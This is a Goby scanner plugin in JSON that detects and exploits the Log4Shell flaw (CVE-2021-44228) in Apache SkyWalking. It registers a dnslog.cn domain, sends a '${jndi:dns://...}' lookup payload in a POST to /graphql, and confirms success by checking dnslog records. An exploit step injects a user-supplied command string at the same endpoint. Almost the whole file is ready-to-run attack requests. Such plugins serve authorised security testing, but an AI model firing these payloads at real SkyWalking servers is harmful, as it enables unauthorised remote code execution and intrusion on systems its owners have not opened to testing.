mirror of https://github.com/qwqdanchun/Goby.git
136 lines
5.1 KiB
JSON
136 lines
5.1 KiB
JSON
|
{
|
||
|
"Name": "Apache SkyWalking Log4shell CVE-2021-44228",
|
||
|
"Level": "3",
|
||
|
"Tags": [
|
||
|
"rce"
|
||
|
],
|
||
|
"GobyQuery": "app=\"SkyWalking\" || title=\"Skywalking\"",
|
||
|
"Description": "Apache SkyWalking Application performance monitor tool for distributed systems, especially designed for microservices, cloud native and container-based (Kubernetes) architectures.",
|
||
|
"Product": "Apache SkyWalking",
|
||
|
"Homepage": "https://skywalking.apache.org/",
|
||
|
"Author": "",
|
||
|
"Impact": "Apache SkyWalking has a log4j vulnerability.",
|
||
|
"Recommendation": "",
|
||
|
"References": [
|
||
|
"https://nvd.nist.gov/vuln/detail/CVE-2021-44228"
|
||
|
],
|
||
|
"HasExp": true,
|
||
|
"ExpParams": [
|
||
|
{
|
||
|
"Name": "cmd",
|
||
|
"Type": "input",
|
||
|
"Value": "${jndi:dns://dnslog.cn/tea}"
|
||
|
}
|
||
|
],
|
||
|
"ExpTips": {
|
||
|
"Type": "",
|
||
|
"Content": ""
|
||
|
},
|
||
|
"ScanSteps": [
|
||
|
"AND",
|
||
|
{
|
||
|
"Request": {
|
||
|
"method": "GET",
|
||
|
"uri": "http://www.dnslog.cn/getdomain.php",
|
||
|
"follow_redirect": false,
|
||
|
"header": null,
|
||
|
"data_type": "text",
|
||
|
"data": "",
|
||
|
"set_variable": []
|
||
|
},
|
||
|
"ResponseTest": {
|
||
|
"type": "group",
|
||
|
"operation": "AND",
|
||
|
"checks": [
|
||
|
{
|
||
|
"type": "item",
|
||
|
"variable": "$code",
|
||
|
"operation": "==",
|
||
|
"value": "200",
|
||
|
"bz": ""
|
||
|
}
|
||
|
]
|
||
|
},
|
||
|
"SetVariable": [
|
||
|
"dnstest|lastbody||"
|
||
|
]
|
||
|
},
|
||
|
{
|
||
|
"Request": {
|
||
|
"method": "POST",
|
||
|
"uri": "/graphql",
|
||
|
"follow_redirect": false,
|
||
|
"header": null,
|
||
|
"data_type": "text",
|
||
|
"data": "{\"query\":\"${jndi:dns://{{{dnstest}}}/tea}\",\"variables\":{\"duration\":{\"start\":\"2021-12-22 1259\",\"end\":\"2021-12-22 1314\",\"step\":\"MINUTE\"}}}",
|
||
|
"set_variable": []
|
||
|
},
|
||
|
"ResponseTest": {
|
||
|
"type": "group",
|
||
|
"operation": "AND",
|
||
|
"checks": []
|
||
|
},
|
||
|
"SetVariable": [
|
||
|
"output|lastbody|regex|"
|
||
|
]
|
||
|
},
|
||
|
{
|
||
|
"Request": {
|
||
|
"method": "GET",
|
||
|
"uri": "http://www.dnslog.cn/getrecords.php",
|
||
|
"follow_redirect": false,
|
||
|
"header": null,
|
||
|
"data_type": "text",
|
||
|
"data": "",
|
||
|
"set_variable": []
|
||
|
},
|
||
|
"ResponseTest": {
|
||
|
"type": "group",
|
||
|
"operation": "AND",
|
||
|
"checks": [
|
||
|
{
|
||
|
"type": "item",
|
||
|
"variable": "$code",
|
||
|
"operation": "==",
|
||
|
"value": "200",
|
||
|
"bz": ""
|
||
|
},
|
||
|
{
|
||
|
"type": "item",
|
||
|
"variable": "$body",
|
||
|
"operation": "contains",
|
||
|
"value": "{{{dnstest}}}",
|
||
|
"bz": ""
|
||
|
}
|
||
|
]
|
||
|
},
|
||
|
"SetVariable": [
|
||
|
"output|lastbody|regex|"
|
||
|
]
|
||
|
}
|
||
|
],
|
||
|
"ExploitSteps": [
|
||
|
"AND",
|
||
|
{
|
||
|
"Request": {
|
||
|
"method": "POST",
|
||
|
"uri": "/graphql",
|
||
|
"follow_redirect": false,
|
||
|
"header": null,
|
||
|
"data_type": "text",
|
||
|
"data": "{\"query\":\"{{{cmd}}}\",\"variables\":{\"duration\":{\"start\":\"2021-12-22 1259\",\"end\":\"2021-12-22 1314\",\"step\":\"MINUTE\"}}}",
|
||
|
"set_variable": []
|
||
|
},
|
||
|
"ResponseTest": {
|
||
|
"type": "group",
|
||
|
"operation": "AND",
|
||
|
"checks": []
|
||
|
},
|
||
|
"SetVariable": [
|
||
|
"output|lastbody|regex|"
|
||
|
]
|
||
|
}
|
||
|
],
|
||
|
"PostTime": "0000-00-00 00:00:00",
|
||
|
"GobyVersion": "0.0.0"
|
||
|
}
|